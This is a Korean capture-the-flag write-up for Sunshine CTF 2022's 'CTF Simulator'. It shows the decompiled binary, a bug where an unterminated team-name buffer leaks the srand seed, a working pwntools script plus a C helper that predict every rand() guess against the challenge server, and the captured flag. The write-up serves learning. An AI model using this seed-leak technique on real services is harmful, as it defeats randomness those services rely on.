Sunshine CTF 2022 - CTF Simulator (srand)

Info

(74/445) solves

description

Step right up and compete to improve your guessing CTF skills!

nc sunshinectf.games 22000

for player

1
2
.
└── ctf-simulator
1
ctf-simulator: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=8095b13ea4b618e9e704441f0d78b2e9989b5d14, for GNU/Linux 3.2.0, stripped

Analysis

Mitigation

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

전부 다 걸려있다고 겁먹으면 안된다. 오히려 간단한 문제일 수도 있다.

Source Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
__int64 __fastcall main(int a1, char **a2, char **a3)
{
int v4; // [rsp+8h] [rbp-98h] BYREF
int i; // [rsp+Ch] [rbp-94h]
int fd; // [rsp+10h] [rbp-90h]
int v7; // [rsp+14h] [rbp-8Ch]
char *src; // [rsp+18h] [rbp-88h]
FILE *stream; // [rsp+20h] [rbp-80h]
char *v10; // [rsp+28h] [rbp-78h]
char s[104]; // [rsp+30h] [rbp-70h] BYREF
unsigned __int64 v12; // [rsp+98h] [rbp-8h]

v12 = __readfsqword(0x28u);
fd = open("/dev/urandom", 0, a3);
if ( fd < 0 || read(fd, &dest[0x14], 4uLL) != 4 )
{
puts("Fatal error!");
exit(1);
}
close(fd);
srand(*(_DWORD *)&dest[0x14]);
puts("||| CTF Simulator 2022 |||");
puts("This CTF training simulator will hone your guessing skills so you can be more competitive in CTF competitions!");
printf("What's the name of your CTF team?\n[>] ");
fflush(stdout);
src = sub_1349();
if ( !src )
{
puts("Invalid team name!");
exit(1);
}
strncpy(dest, src, 0x14uLL);
for ( i = 10; i <= 999999999; i *= 10 )
{
printf("Okay %s, I'm thinking of a number between 1 and %d. What is it?\n[>] ", dest, (unsigned int)i);
fflush(stdout);
v7 = rand() % i + 1;
v4 = 0;
src = sub_1349();
if ( (unsigned int)__isoc99_sscanf(src, "%d", &v4) != 1 )
{
puts("Bad guess!");
exit(1);
}
if ( v7 > v4 )
{
puts("Too low!");
exit(1);
}
if ( v7 < v4 )
{
puts("Too high!");
exit(1);
}
puts("That's it!");
}
puts("Wow, did you hack into my brain? Great guessing! You'll be a CTF star in no time!");
stream = fopen("flag.txt", "r");
if ( !stream )
{
puts("Flag file is missing!");
exit(1);
}
if ( !fgets(s, 100, stream) )
{
puts("Error reading from flag file!");
exit(1);
}
fclose(stream);
v10 = strchr(s, 10);
if ( v10 )
*v10 = 0;
printf("Here's a reward for you: %s\n", s);
return 0LL;
}

요약하자면 for ( i = 10; i <= 999999999; i *= 10 ) 동안 랜덤한 수를 맞춰야 한다.

Vulnerability

CTF team name을 입력할 때 srand 인자 leak이 가능하다.
&dest[0x14]에 4바이트로 srand의 인자로 /dev/urandom의 랜덤한 값을 입력한다. 후에 CTF team name을 사용자에게 src에 입력받고 strncpy(dest, src, 0x14uLL); 에서 dest에 복사한다. printf는 공백까지 출력하기 때문에 CTF team name에 0x14를 꽉꽉 채워서 입력해주면 &dest[0x14]도 출력할 수 있다.

1
2
0x55f716d94430: 0x4141414141414141      0x4141414141414141
0x55f716d94440: 0xd9fd281441414141 0x0000000000000000

Exploit

Exploit Scenario

  1. srand 인자 leak하는 python 코드 작성
  2. 해당 인자를 가지고 random 수를 출력하는 c 프로그램 작성
  3. 인자를 c 프로그램에 넘겨주어 random 수를 출력하는 것을 받아오는 python 코드 작성
  4. 문제 프로그램에 넘기기

Exploit Code

`

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

context.arch = 'amd64'
context.log_level = 'DEBUG'

e = ELF('./chall')
p = process('./chall')
p = remote("sunshinectf.games", 22000)

#p = gdb.debug('./chall')

p.sendlineafter('CTF team?\n', 'A' * 0x14)

p.recvuntil('AAAAAAAAAAAAAAAAAAAA')

seed = struct.unpack('I', p.recv(4))[0]
info(str(seed))


argv1 = ["" for i in range(2)]
argv1[1] = str(seed)

pp = process(executable='./a.out', argv=argv1)

v7 = ["" for i in range(8)]
for i in range(8):
v7[i] = pp.recvuntil('\n')[:-1]

pp.close()

for i in range(8):
p.sendlineafter('[>]', v7[i])

p.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// gcc random.c
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char* argv[])
{
/*printf("%s\n", argv[1]);*/
/*printf("%d\n", atoi(argv[1]));*/

srand(atoi(argv[1]));

for (int i = 10; i < 999999999; i *= 10)
{
int v7 = rand() % i + 1;
printf("%d\n", v7);
}

return 0;
}

struct.unpack

struct.unpack의 첫번째 인자로 I를 주면 byte를 unsigned int로 바꾸어주는 것을 알게 되었다.

1
2
3
4
>>> struct.unpack('i', b'\x7f\x84\x4e\xcd')
(-850492289,)
>>> struct.unpack('I', b'\x7f\x84\x4e\xcd')
(3444475007,)

struct.unpack만 보면 어색했는데 이제 조금 익숙해졌다.

Flag

1
sun{gu355y_ch4ll3ng35_4r3_my_f4v0r1t3!}